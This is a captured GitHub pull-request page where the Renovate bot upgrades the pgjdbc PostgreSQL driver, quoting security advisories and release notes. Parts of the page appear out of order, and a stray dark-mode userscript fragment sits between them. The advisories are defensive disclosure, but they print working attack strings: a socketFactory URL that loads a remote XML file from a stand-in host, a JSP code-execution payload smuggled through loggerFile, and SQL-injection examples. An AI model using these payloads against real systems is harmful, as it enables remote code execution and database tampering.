  • feat: add connectExecutor connection property to customize the Executor used to run the worker task that performs the connection attempt when loginTimeout is in effect. The value is the fully qualified name of a class implementing java.util.concurrent.Executor. With a null value, the default, the driver retains the prior behavior of running the connection attempt on a daemon thread named "PostgreSQL JDBC driver connection thread". The executor must run the task on a thread other than the caller's. Running the attempt on a named thread lets applications that monitor driver-created threads identify it. PR #​4165
  • feat: add classLoaderStrategy connection property to control which classloaders the driver searches when loading a class named by a connection property, for example socketFactory. The default driver-first now falls back to the thread context classloader when the driver's classloader cannot resolve the class, which fixes class loading in non-flat class paths such as Quarkus and OSGi. Set driver to keep the previous driver-classloader-only behaviour, or context-first to prefer the thread context classloader Issue #​2112PR #​4167
  • feat: add OID constants for geometric arrays, RECORD, and refcursorPR #​4220
  • feat: LargeObjectBlobInputStream now skips by seeking instead of reading, and the driver exposes the server version so it can select the 64-bit large-object API where available PR #​4204
Changed
  • refactor: the worker that runs the connection attempt under loginTimeout is now a FutureTask (ConnectTask) instead of the hand-rolled ConnectThread. When the caller hits the timeout, the task is now cancelled with cancel(true), which interrupts the worker thread rather than letting it run to completion. This makes the connection attempt interruptible, so loginTimeout can stop a slow connection attempt instead of leaking a thread. As before, a connection that the worker still manages to establish after the caller gives up is closed by the worker so that it does not leak. There are no public API changes and this should only lead to faster background resource cleanup for connections that time out. PR #​4120
  • chore: PGXAConnection.ConnectionHandler now rejects setAutoCommit(false) and setSavepoint(...) during an active XA branch, in addition to the long-rejected setAutoCommit(true) / commit() / rollback(). The setSavepoint rejection was already meant to be in place but the guard misspelled the method name as setSavePoint, so savepoints silently went through. Both changes bring the proxy in line with JTA 1.2 §3.4. PR #​4114
  • chore: commitPrepared / rollback-of-prepared now return XAER_RMFAIL instead of XAER_RMERR when the underlying connection is left in a non-idle TransactionState. Transaction managers (Geronimo, Narayana, Atomikos) treat XAER_RMFAIL as retryable on a fresh XAResource; the prepared transaction is no longer abandoned. PR #​4114
  • refactor: derive getPrimaryKeys from pg_constraint.conkeyPR #​4202
Fixed
  • fix: the published GitHub release now ships the released postgresql-<version>.jar and its detached PGP signature, taken from the same signed build that is uploaded to Maven Central, instead of a leftover SNAPSHOT jar Issue #​3812PR #​3814
  • fix: simplify the Statement#cancel state machine by dropping the redundant CANCELLED state. killTimerTask now waits for the state to return to IDLE directly, which removes a spin-forever case when more than one thread observes the cancel completing PR #​1827.
  • perf: defer simple-query flushes until the driver reads the response, allowing BEGIN and the following query to share a network flush Issue #​3894PR #​4196
  • fix: reWriteBatchedInserts no longer throws IllegalArgumentException when batching a parameterless INSERT (for example INSERT INTO t VALUES (1, 2)) of 256 rows or more PR #​4207
  • fix: a comment before CALL in a CallableStatement no longer hides the native call, so OUT parameter registration works for /* comment */ call proc(?, ?) and similar. Parser.modifyJdbcCall now skips leading whitespace and SQL comments (both -- and /* */) before the call, tolerates a trailing comment after a { ... } escape, and no longer adds a spurious comma when moving an OUT parameter into a call whose arguments are only a comment Issue #​2538PR #​4209
  • fix: PreparedStatement.toString() no longer throws for a bytea value supplied as text via PGobject. Hex-format values (\x...) are validated and rendered as a bytea literal, and escape-format values are quoted and cast like any other literal Issue #​3757PR #​4201
  • fix: the driver no longer nulls the contextClassLoader of shared ForkJoinPool.commonPool() worker threads, which previously left unrelated tasks on those threads running with a null classloader Issue #​4155PR #​4156
  • fix: PgResultSet#getCharacterStream wraps String in a StringReaderPR #​4063
  • fix: PGXAConnection no longer saves and restores the underlying connection's JDBC autoCommit flag. All XA-protocol SQL (BEGIN, PREPARE TRANSACTION, COMMIT, ROLLBACK, COMMIT PREPARED, ROLLBACK PREPARED, the recover() SELECT) is sent through QUERY_SUPPRESS_BEGIN, so the caller's autoCommit value is invariant across every XAResource call. Fixes the "2nd phase commit must be issued using an idle connection" failure during recovery on managed datasources that pool connections with autoCommit=false (TomEE, WildFly, WebSphere Liberty) PR #​4114
  • fix: PGXAConnection.prepare() now mutates XA state only after PREPARE TRANSACTION succeeds. A failed PREPARE previously left the driver thinking the branch was already prepared, so the follow-up rollback(xid) tried ROLLBACK PREPARED against a non-existent gid and returned XAER_RMERR. Transaction managers (Narayana) escalated this to HeuristicMixedException. With the fix, rollback(xid) takes the active-branch path and issues a plain ROLLBACK, which the server accepts cleanly. Fixes Issue #​3153, Issue #​3123. PR #​4114
  • fix: an updatable result set over an unqualified table name is now classified using only the table visible through search_path. When two schemas held a table with the same name and the same primary or unique index name but a different set of key columns, the driver took the union of both schemas' columns, so the result set could be wrongly rejected as not updatable PR #​4214. Supersedes
✂ Note
PR body was truncated to here.
Configuration
📅 Schedule: (UTC)
  • Branch creation

    • At any time (no schedule defined)
  • Automerge

    • At any time (no schedule defined)
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
  •  If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.
@renovaterenovateBot
changed the title
Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY] - autoclosedMar 27, 2026
@renovaterenovateBot
closed this
Mar 27, 2026
@renovate
renovateBot
deleted the

renovate/maven-org.postgresql-postgresql-vulnerability

branch
March 27, 2026 00:45
@renovaterenovateBot
changed the title
Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY] - autoclosedUpdate dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Mar 30, 2026
@renovaterenovateBot
reopened this
Mar 30, 2026
@renovate
renovateBotforce-pushed
the
renovate/maven-org.postgresql-postgresql-vulnerability
branch
2 times, most recently
from
c29cb62 to
aa15a13CompareMarch 30, 2026 18:01
@renovaterenovateBot
changed the title
Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY] - autoclosedApr 27, 2026
@renovaterenovateBot
closed this
Apr 27, 2026
@renovaterenovateBot
changed the title
Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY] - autoclosedUpdate dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Apr 28, 2026
@renovaterenovateBot
reopened this
Apr 28, 2026
@renovate
renovateBotforce-pushed
the
renovate/maven-org.postgresql-postgresql-vulnerability
branch
2 times, most recently
from
aa15a13 to
45ddb13CompareApril 28, 2026 04:54
@renovate
renovateBotforce-pushed
the
renovate/maven-org.postgresql-postgresql-vulnerability
branch
from
45ddb13 to
101b1f7CompareMay 7, 2026 00:12
@renovaterenovateBot
changed the title
Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Update dependency org.postgresql:postgresql to v42.7.11 [SECURITY]May 7, 2026
Sign up for freeto join this conversation on GitHub.
Already have an account?
Sign in to comment

Reviewers


No reviews


Assignees


No one assigned


Labels


None yet


Projects


None yet


Milestone


No milestone


Development

Successfully merging this pull request may close these issues.

0 participants


, 'i');
if (__m === '*' || __re.test(location.href)) {
injectUserscript("// Universal Dark Mode - works on any site\n(function() {\n var enabled = true;\n \n function applyDarkMode() {\n if (!enabled) return;\n \n // Create style element if it doesn't exist\n var style = document.getElementById('universal-dark-mode-style');\n if (!style) {\n style = document.createElement('style');\n style.id = 'universal-dark-mode-style';\n document.head.appendChild(style);\n }\n \n // Dark mode CSS - inverts colors but preserves images/video\n style.textContent = '\n /* Invert everything except media */\n html {\n filter: invert(1) hue-rotate(180deg) !important;\n background: #1a1a2e !important;\n }\n \n /* Restore images, videos, iframes, canvas */\n img, video, iframe, canvas, svg, picture, [style*=\"background-image\"] {\n filter: invert(1) hue-rotate(180deg) !important;\n }\n \n /* Preserve specific elements that should not be inverted */\n .no-dark-mode, .no-dark-mode *,\n [data-theme=\"light\"], [data-theme=\"light\"],\n .ace_editor, .ace_editor *,\n .CodeMirror, .CodeMirror *,\n .monaco-editor, .monaco-editor *,\n .markdown-body pre, .markdown-body pre *,\n .highlight, .highlight *,\n pre code, pre code * {\n filter: none !important;\n }\n \n /* Fix common UI elements */\n .modal, .popup, .dropdown-menu, .tooltip, .popover {\n filter: invert(1) hue-rotate(180deg) !important;\n background: #2d2d44 !important;\n border-color: #444 !important;\n }\n \n /* Scrollbars */\n ::-webkit-scrollbar { background: #1a1a2e !important; }\n ::-webkit-scrollbar-thumb { background: #444 !important; }\n ::-webkit-scrollbar-thumb:hover { background: #555 !important; }\n \n /* Selection */\n ::selection { background: #4ecdc4 !important; color: #1a1a2e !important; }\n ::-moz-selection { background: #4ecdc4 !important; color: #1a1a2e !important; }\n ';\n }\n \n function removeDarkMode() {\n var style = document.getElementById('universal-dark-mode-style');\n if (style) style.remove();\n }\n \n // Toggle with Alt+Shift+D\n document.addEventListener('keydown', function(e) {\n if (e.altKey && e.shiftKey && e.key === 'D') {\n e.preventDefault();\n enabled = !enabled;\n if (enabled) {\n applyDarkMode();\n console.log('[Universal Dark Mode] Enabled');\n } else {\n removeDarkMode();\n console.log('[Universal Dark Mode] Disabled');\n }\n }\n });\n \n // Apply on load\n applyDarkMode();\n \n // Re-apply on dynamic content\n var observer = new MutationObserver(function(mutations) {\n if (enabled && !document.getElementById('universal-dark-mode-style')) {\n applyDarkMode();\n }\n });\n observer.observe(document.head, { childList: true });\n \n console.log('[Universal Dark Mode] Loaded - Press Alt+Shift+D to toggle');\n})();", "Universal Dark Mode");
}
} catch(__e) { console.warn('[Userscript:Universal Dark Mode]', __e); }
})();
})();

Skip to content
Update dependency org.postgresql:postgresql to v42.7.11 [SECURITY] - #62
Open
renovate[bot] wants to merge 1 commit into
masterfrom 
renovate/maven-org.postgresql-postgresql-vulnerability
Open
Update dependency org.postgresql:postgresql to v42.7.11 [SECURITY]#62
renovate[bot] wants to merge 1 commit into
masterfrom 
renovate/maven-org.postgresql-postgresql-vulnerability
Conversation
@renovate
@renovaterenovateBot
commented
Mar 16, 2023•

edited

Loading

Copy link


Copy Markdown

ℹ️ Note
This PR body was truncated due to platform limits.
This PR contains the following updates:
PackageChangeAgeConfidence
org.postgresql:postgresql (source)42.2.23 → 42.7.11ageconfidence
Warning
Some dependencies could not be looked up. Check the Dependency Dashboard for more information.
pgjdbc Does Not Check Class Instantiation when providing Plugin Classes
CVE-2022-21724 / GHSA-v7wg-cpwc-24m4
More information
Details
Impact
pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties.
However, the driver did not verify if the class implements the expected interface before instantiating the class.
Here's an example attack using an out-of-the-box class from Spring Framework:
DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");

The first impacted version is REL9.4.1208 (it introduced socketFactory connection property)
Severity
  • CVSS Score: 7.0 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
pgjdbc Arbitrary File Write Vulnerability
GHSA-673j-qm5f-xpv8
More information
Details
Overview
The connection properties for configuring a pgjdbc connection are not meant to be exposed to an unauthenticated attacker. While allowing an attacker to specify arbitrary connection properties could lead to a compromise of a system, that's a defect of an application that allows unauthenticated attackers that level of control.
It's not the job of the pgjdbc driver to decide whether a given log file location is acceptable. End user applications that use the pgjdbc driver must ensure that filenames are valid and restrict unauthenticated attackers from being able to supply arbitrary values. That's not specific to the pgjdbc driver either, it would be true for any library that can write to the application's local file system.
While we do not consider this a security issue with the driver, we have decided to remove the loggerFile and loggerLevel connection properties in the next release of the driver. Removal of those properties does not make exposing the JDBC URL or connection properties to an attacker safe and we continue to suggest that applications do not allow untrusted users to specify arbitrary connection properties. We are removing them to prevent misuse and their functionality can be delegated to java.util.logging.
If you identify an application that allows remote users to specify a complete JDBC URL or properties without validating it's contents, we encourage you to notify the application owner as that may be a security defect in that specific application.
Impact
It is possible to specify an arbitrary filename in the loggerFileName connection parameter

"jdbc:postgresql://localhost:5432/test?user=test&password=test&loggerLevel=DEBUG&loggerFile=./blah.jsp&<%Runtime.getRuntime().exec(request.getParameter("i"));%>"
This creates a valid JSP file which could lead to a Remote Code Execution
Patches
LoggerFile implementation has been removed and will be ignored by the driver, fixed in 42.3.3
Workarounds
sanitize the inputs to the driver
Reported by Allan Lou v3ged0ge@gmail.com
Severity
Medium
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Path traversal in org.postgresql:postgresql
CVE-2022-26520 / GHSA-727h-hrw8-jg8q
More information
Details
In pgjdbc before 42.3.3, an attacker (who controls the jdbc URL or properties) can call java.util.logging.FileHandler to write to arbitrary files through the loggerFile and loggerLevel connection properties. An example situation is that an attacker could create an executable JSP file under a Tomcat web root. NOTE: the vendor's position is that there is no pgjdbc vulnerability; instead, it is a vulnerability for any application to use the pgjdbc driver with untrusted connection properties.
Severity
Low
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
PostgreSQL JDBC Driver SQL Injection in ResultSet.refreshRow() with malicious column names
CVE-2022-31197 / GHSA-r38f-c4h4-hqq2
More information
Details
Impact
What kind of vulnerability is it? Who is impacted?
The PGJDBC implementation of the java.sql.ResultRow.refreshRow() method is not performing escaping of column names so a malicious column name that contains a statement terminator, e.g. ;, could lead to SQL injection. This could lead to executing additional SQL commands as the application's JDBC user.
User applications that do not invoke the ResultSet.refreshRow() method are not impacted.
User application that do invoke that method are impacted if the underlying database that they are querying via their JDBC application may be under the control of an attacker. The attack requires the attacker to trick the user into executing SQL against a table name who's column names would contain the malicious SQL and subsequently invoke the refreshRow() method on the ResultSet.
For example:
CREATETABLErefresh_row_example (
id intPRIMARY KEY,
"1 FROM refresh_row_example; SELECT pg_sleep(10); SELECT * "int
);
This example has a table with two columns. The name of the second column is crafted to contain a statement terminator followed by additional SQL. Invoking the ResultSet.refreshRow() on a ResultSet that queried this table, e.g. SELECT * FROM refresh_row, would cause the additional SQL commands such as the SELECT pg_sleep(10) invocation to be executed.
As the multi statement command would contain multiple results, it would not be possible for the attacker to get data directly out of this approach as the ResultSet.refreshRow() method would throw an exception. However, the attacker could execute any arbitrary SQL including inserting the data into another table that could then be read or any other DML / DDL statement.
Note that the application's JDBC user and the schema owner need not be the same. A JDBC application that executes as a privileged user querying database schemas owned by potentially malicious less-privileged users would be vulnerable. In that situation it may be possible for the malicious user to craft a schema that causes the application to execute commands as the privileged user.
Patches
Has the problem been patched? What versions should users upgrade to?
Yes, versions 42.2.26, 42.3.7, and 42.4.1 have been released with a fix.
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
Check that you are not using the ResultSet.refreshRow() method.
If you are, ensure that the code that executes that method does not connect to a database that is controlled by an unauthenticated or malicious user. If your application only connects to its own database with a fixed schema with no DDL permissions, then you will not be affected by this vulnerability as it requires a maliciously crafted schema.
Severity
  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
TemporaryFolder on unix-like systems does not limit access to created files
CVE-2022-41946 / GHSA-562r-vg33-8x8h
More information
Details
Vulnerability
PreparedStatement.setText(int, InputStream)

and
PreparedStatemet.setBytea(int, InputStream)
will create a temporary file if the InputStream is larger than 51k
Example of vulnerable code:
Strings = "some very large string greater than 51200 bytes";
PreparedStatement.setInputStream(1, newByteArrayInputStream(s.getBytes()) );
This will create a temporary file which is readable by other users on Unix like systems, but not MacOS.
Impact

On Unix like systems, the system's temporary directory is shared between all users on that system. Because of this, when files and directories are written into this directory they are, by default, readable by other users on that same system.
This vulnerability does not allow other users to overwrite the contents of these directories or files. This is purely an information disclosure vulnerability.
When analyzing the impact of this vulnerability, here are the important questions to ask:
Is the driver running in an environment where the OS has other untrusted users.

If yes, and you answered 'yes' to question 1, this vulnerability impacts you.

If no, this vulnerability does not impact you.

Patches

Because certain JDK file system APIs were only added in JDK 1.7, this this fix is dependent upon the version of the JDK you are using.
Java 1.8 and higher users: this vulnerability is fixed in 42.2.27, 42.3.8, 42.4.3, 42.5.1

Java 1.7 users: this vulnerability is fixed in 42.2.27.jre7

Java 1.6 and lower users: no patch is available; you must use the workaround below.

Workarounds

If you are unable to patch, or are stuck running on Java 1.6, specifying the java.io.tmpdir system environment variable to a directory that is exclusively owned by the executing user will fix this vulnerability.
References
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Fix commit pgjdbc/pgjdbc@9008dc9

Similar Vulnerabilities

Google Guava - https://github.com/google/guava/issues/4011

Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945

JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824
Severity
  • CVSS Score: 4.7 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
org.postgresql:postgresql vulnerable to SQL Injection via line comment generation
CVE-2024-1597 / GHSA-24rp-q3w6-vc56
More information
Details
Impact
SQL injection is possible when using the non-default connection property preferQueryMode=simple in combination with application code that has a vulnerable SQL that negates a parameter value.
There is no vulnerability in the driver when using the default query mode. Users that do not override the query mode are not impacted.
Exploitation
To exploit this behavior the following conditions must be met:
  1. A placeholder for a numeric value must be immediately preceded by a minus (i.e. -)
  2. There must be a second placeholder for a string value after the first placeholder on the same line.
  3. Both parameters must be user controlled.
The prior behavior of the driver when operating in simple query mode would inline the negative value of the first parameter and cause the resulting line to be treated as a -- SQL comment. That would extend to the beginning of the next parameter and cause the quoting of that parameter to be consumed by the comment line. If that string parameter includes a newline, the resulting text would appear unescaped in the resulting SQL.
When operating in the default extended query mode this would not be an issue as the parameter values are sent separately to the server. Only in simple query mode the parameter values are inlined into the executed SQL causing this issue.
Example
PreparedStatementstmt = conn.prepareStatement("SELECT -?, ?");
stmt.setInt(1, -1);
stmt.setString(2, "\nWHERE false --");
ResultSetrs = stmt.executeQuery();
The resulting SQL when operating in simple query mode would be:
SELECT--1,'WHERE false --'
The contents of the second parameter get injected into the command. Note how both the number of result columns and the WHERE clause of the command have changed. A more elaborate example could execute arbitrary other SQL commands.
Patch
Problem will be patched upgrade to 42.7.2, 42.6.1, 42.5.5, 42.4.4, 42.3.9, 42.2.28, 42.2.28.jre7
The patch fixes the inlining of parameters by forcing them all to be serialized as wrapped literals. The SQL in the prior example would be transformed into:
SELECT-('-1'::int4), ('WHERE false --')
Workarounds
Do not use the connection propertypreferQueryMode=simple. (NOTE: If you do not explicitly specify a query mode then you are using the default of extended and are not impacted by this issue.)
Severity
  • CVSS Score: 10.0 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
pgjdbc: Unbounded PBKDF2 iterations in SCRAM authentication allows CPU exhaustion DoS
CVE-2026-42198 / GHSA-98qh-xjc8-98pq
More information
Details
Summary
pgjdbc is vulnerable to a client-side denial of service during SCRAM-SHA-256 authentication.
Impact
A malicious server can instruct the driver to perform SCRAM authentication with a very large iteration count.

With a large enough value, the client spends an unbounded amount of CPU time inside PBKDF2 before authentication can fail.

A single attempt ties up a CPU core. Repeated or concurrent attempts exhaust client CPU and can wedge connection pools.
In affected versions, loginTimeout did not fully mitigate this problem. When loginTimeout expired, the caller could stop waiting, but the worker thread performing the connection attempt could continue running and burning CPU inside the SCRAM PBKDF2 computation.
This issue affects availability. It does not provide authentication bypass, privilege escalation, or direct password disclosure.
A user is vulnerable when all of the following are true:
  1. The connection uses SCRAM-SHA-256 authentication.
  2. The client reaches a malicious, compromised, or attacker-controlled PostgreSQL endpoint.
  3. That endpoint sends a very large SCRAM PBKDF2 iteration count in the server-first-message.
In practice, that can happen in these situations:
  • the application lets end users or tenants supply their own database connection details (as in many BI, reporting, analytics, ETL, and low-code platforms), so a user can point the shared client host at a server they control
  • the application accepts connection strings, hostnames, or JDBC URLs from user input, configuration uploaded by users, or other untrusted sources
  • the application is configured to connect to a PostgreSQL server that is itself malicious or later becomes compromised
  • the application connects through an untrusted proxy, relay, tunnel, bastion, or connection-pooling service that can act as the PostgreSQL server
  • an attacker can redirect the client to a fake PostgreSQL endpoint by manipulating DNS, service discovery, Kubernetes service resolution, /etc/hosts, environment variables, or similar indirection
  • an active network attacker on the path can impersonate the server because the connection does not strongly verify server identity (for example, sslmode lower than verify-full, or trusting a CA that signs hosts outside the operator's control)
The issue is more damaging when the application uses connection retries, many parallel connection attempts, or loginTimeout and assumes the timeout fully stops the work.
Patches
The patch introduces a new connection property, scramMaxIterations, with a default of 100K. The client now rejects SCRAM server messages that advertise more PBKDF2 iterations than the configured cap before starting the PBKDF2 computation begins.
Workarounds
Until a patched version of pgjdbc is deployed, the following measures reduce exposure:
  1. Only connect to trusted PostgreSQL servers whose identity is verified.
    
Connect only to trusted PostgreSQL servers, and verify server identity with TLS using sslmode=verify-full and a trusted CA.
    
TLS without certificate and hostname verification is not sufficient as an active network attacker can still impersonate the server.
  2. Do not rely on loginTimeout as a complete mitigation on unpatched versions.
    
On affected versions, loginTimeout can stop the waiting caller while the worker thread continues spending CPU.
  3. Avoid SCRAM on untrusted or interceptable connection paths.
    
For those paths, use an authentication method that does not let the server choose a SCRAM PBKDF2 iteration count.
  4. Reduce blast radius operationally.
    
Limit parallel connection attempts, add retry backoff, isolate connection establishment in a separate worker or process when possible, and apply CPU or container limits where appropriate.
  5. On trusted servers you control, keep SCRAM iteration counts at ordinary values.
    
This does not defend against an attacker-controlled server, but it avoids unnecessary client cost when talking to legitimate servers.
Severity
  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Release Notes
pgjdbc/pgjdbc (org.postgresql:postgresql)
v42.7.11
Security
  • fix: Limit SCRAM PBKDF2 iterations accepted from the server.
    
pgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.
    
See the Security Advisory for more detail.
    
The following CVE-2026-42198 has been issued.
Added
  • feat: implement require_auth connection property, aligning with libpq behavior PR #​3895
Changed
  • chore: replace Appveyor CI with ikalnytskyi/action-setup-postgres PR #​3966
  • chore: upgrade Gradle to v9 PR #​3978
Fixed
  • fix: ensure extended protocol messages end with Sync message PR #​3728
  • fix: enable cursor-based fetching in extended protocol when transaction started via SQL command PR #​3996
  • fix: retry with SSL on IOException when sslMode=ALLOW PR #​3973
  • fix: make sure the driver honours connectTimeout when retrying the connection PR #​3968
  • fix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in PR #​3968
  • fix: catch SecurityException from setContextClassLoader on ForkJoinPool workers PR #​3962
  • fix: use compareTo for LogSequenceNumber comparison to handle unsigned values correctly PR #​3961
  • fix: release COPY lock on IOException to prevent connection hang PR #​3957
  • fix: return jsonb as PGObject instead of String PR #​3956
  • fix: align SSL key file permission check with libpq PR #​3952
  • fix: guard connection closed flag with a reentrant lock to protect against concurrent close PR #​3905
v42.7.10
Changed
  • chore: Migrate to Shadow 9 PR 3931
  • style: fix empty line before javadoc for checkstyle compliance PR #​3925
  • style: fix lambda argument indentation for checkstyle compliance PR #​3922
  • test: add autosave=always|never|conservative and cleanupSavepoints=true|false to the randomized CI jobs PR #​3917
Fixed
  • fix: non-standard strings failing test for version 19 PR #​3934
  • fix: small issues in ConnectionFactoryImpl PR #​3929
  • fix: process pending responses before fastpath to avoid protocol errors PR # 3913
  • doc: use.md, fix typos PR #​3911
  • doc: datasource.md, fix minor formatting issue PR #​3912
  • doc: add the new PGP signing key to the official documentation PR #​3912
Reverted
v42.7.9
Compare Source
Added
  • feat: query timeout property PR #​3705
  • feat: Add PEMKeyManager to handle PEM based certs and keys PR #​3700
Changed
  • perf: optimize PGInterval.getValue() by replacing String.format with StringBuilder
  • doc: update property quoteReturningIdentifiers default value PR #​3847
  • security: Use a static method forName to load all user supplied classes. Use the Class.forName 3 parameter method and do not initilize it unless it is a subclass of the expected class
Fixed
  • fix: incorrect pg_stat_replication.reply_time calculation PR #​3906
  • fix: close temporary lob descriptors that are used internally in PreparedStatement#setBlob
  • fix: PGXAConnection.prepare(Xid) should return XA_RDONLY if the connection is read only PR #​3897
  • fix: make all Calendar instances proleptic Gregorian PR #​3837
  • fix: Simplify concurrency guards on QueryExecutorBase#transaction and QueryExecutorBase#standardConformingStrings PR #​3897
  • fix: avoid memory leaks in Java <= 21 caused by Thread.inheritedAccessControlContext PR #​3886
  • fix: Issue #​3784 pgjdbc can't decode numeric arrays containing special numbers like NaN PR #​3838
  • fix: use ssl_is_used() to check for ssl connection PR #​3867
  • fix: the classloader is nullable PR #​3907
v42.7.8
Compare Source
Added
  • feat: Add configurable boolean-to-numeric conversion for ResultSet getters PR #​3796
Changed
  • perf: remove QUERY_ONESHOT flag when calling getMetaData PR #​3783
  • perf: use BufferedInputStream with FileInputStreamPR #​3750
  • perf: enable server-prepared statements for DatabaseMetaData
Fixed
  • fix: avoid NullPointerException when cancelling a query if cancel key is not known yet
  • fix: Change "PST" timezone in TimestampTest to "Pacific Standard Time" PR #​3774
  • fix: traverse the current dimension to get the correct pos in PgArray#calcRemainingDataLength PR #​3746
  • fix: make sure getImportedExportedKeys returns columns in consistent order
  • fix: Add "SELF_REFERENCING_COL_NAME" field to getTables' ResultSetMetaData to fix NullPointerException PR #​3660
  • fix: unable to open replication connection to servers < 12
  • fix: avoid closing statement caused by driver's internal ResultSet#close()
  • fix: return empty metadata for empty catalog names as it was before
  • fix: Incorrect class comparison in PGXmlFactoryFactory validation
v42.7.7
Security
  • security: Client Allows Fallback to Insecure Authentication Despite channelBinding=require configuration.
    
Fix channel binding required handling to reject non-SASL authentication
    
Previously, when channel binding was set to "require", the driver would silently ignore this
    
requirement for non-SASL authentication methods. This could lead to a false sense of security
    
when channel binding was explicitly requested but not actually enforced. The fix ensures that when
    
channel binding is set to "require", the driver will reject connections that use
    
non-SASL authentication methods or when SASL authentication has not completed properly.
    
See the Security Advisory for more detail. Reported by George MacKerron
    
The following CVE-2025-49146 has been issued
Added
  • test: Added ChannelBindingRequiredTest to verify proper behavior of channel binding settings
v42.7.6
Features
  • fix: Enhanced DatabaseMetadata.getIndexInfo() method, added index comment as REMARKS property PR #​3513
Performance Improvements
  • performance: Improve ResultSetMetadata.fetchFieldMetaData by using IN row values instead of UNION ALL for improved query performance (later reverted) PR #​3510
  • feat:Use a single simple query for all startup parameters, so groupStartupParameters is no longer needed PR #​3613
v42.7.5
Added
Fixed
  • regression: revert change in fc60537PR #​3476
  • fix: PgDatabaseMetaData implementation of catalog as param and return value PR #​3390
  • fix: Support default GSS credentials in the Java Postgres client PR #​3451
  • fix: return only the transactions accessible by the current_user in XAResource.recover PR #​3450
  • feat: don't force send extra_float_digits for PostgreSQL >= 12 fix Issue #​3432PR #​3446
  • fix: exclude "include columns" from the list of primary keys PR #​3434
  • perf: Enhance the meta query performance by specifying the oid. PR #​3427
  • feat: support getObject(int, byte[].class) for bytea PR #​3274
  • docs: document infinity and some minor edits PR #​3407
  • fix: Added way to check for major server version, fixed check for RULE PR #​3402
  • docs: fixed remaining paragraphs PR #​3398
  • docs: fixed paragraphs in javadoc comments PR #​3397
  • fix: Reuse buffers and reduce allocations in GSSInputStream addresses Issue #​3251PR #​3255
  • chore: Update Gradle to 8.10.2 PR #​3388
  • fix: getSchemas() PR #​3386
  • fix: Update rpm postgresql-jdbc.spec.tpl with scram-client PR #​3324
  • fix: Clearing thisRow and rowBuffer on close() of ResultSet Issue #​3383PR #​3384
  • fix: Package was renamed to maven-bundle-plugin PR #​3382
  • fix: As of version 18 the RULE privilege has been removed PR #​3378
  • fix: use buffered inputstream to create GSSInputStream PR #​3373
  • test: get rid of 8.4, 9.0 pg versions and use >= jdk version 17 PR #​3372
  • Changed docker-compose version and renamed script file in instructions to match the real file name PR #​3363
  • test:Do not assume "test" database in DatabaseMetaDataTransactionIsolationTest PR #​3364
  • try to categorize dependencies PR #​3362
v42.7.4
Added
  • chore: SCRAM dependency to 3.1 and support channel binding PR #​3188
  • chore: Add PostgreSQL 15, 16, and 17beta1 to CI tests PR #​3299
  • test: Update to 17beta3 PR #​3308
  • chore: Implement direct SSL ALPN connections PR #​3252
  • translation: Add Korean translation file PR #​3276
Fixed
  • fix: PgInterval ignores case for represented interval string PR #​3344
  • perf: Avoid extra copies when receiving int4 and int2 in PGStream PR #​3295
  • fix: Add support for Infinity::numeric values in ResultSet.getObject PR #​3304
  • fix: Ensure order of results for getDouble PR #​3301
  • perf: Replace BufferedOutputStream with unsynchronized PgBufferedOutputStream, allow configuring different Java and SO_SNDBUF buffer sizes PR #​3248
  • fix: Fix SSL tests PR #​3260
  • fix: Support bytea in preferQueryMode=simple PR #​3243
  • fix: Fix #​3234 - Return -1 as update count for stored procedure calls PR #​3235
  • fix: Fix #​3224 - conversion for TIME '24:00' to LocalTime breaks in binary-mode PR #​3225
  • perf: Speed up getDate by parsing bytes instead of String PR #​3141
  • fix: support PreparedStatement.setBlob(1, Blob) and PreparedStatement.setClob(1, Clob) for lobs that return -1 for length PR #​3136
  • fix: Validates resultset Params in PGStatement constructor. uses assertThro… PR #​3171
  • fix: Validates resultset parameters PR #​3167
  • docs: Replace greater to with greater than PR #​3315
  • docs: Clarify binaryTransfer and prepareThreshold PR #​3338
  • docs: use.md, typo PR #​3314
  • test: Use docker v2 which changes docker-compose to docker compose #​3339
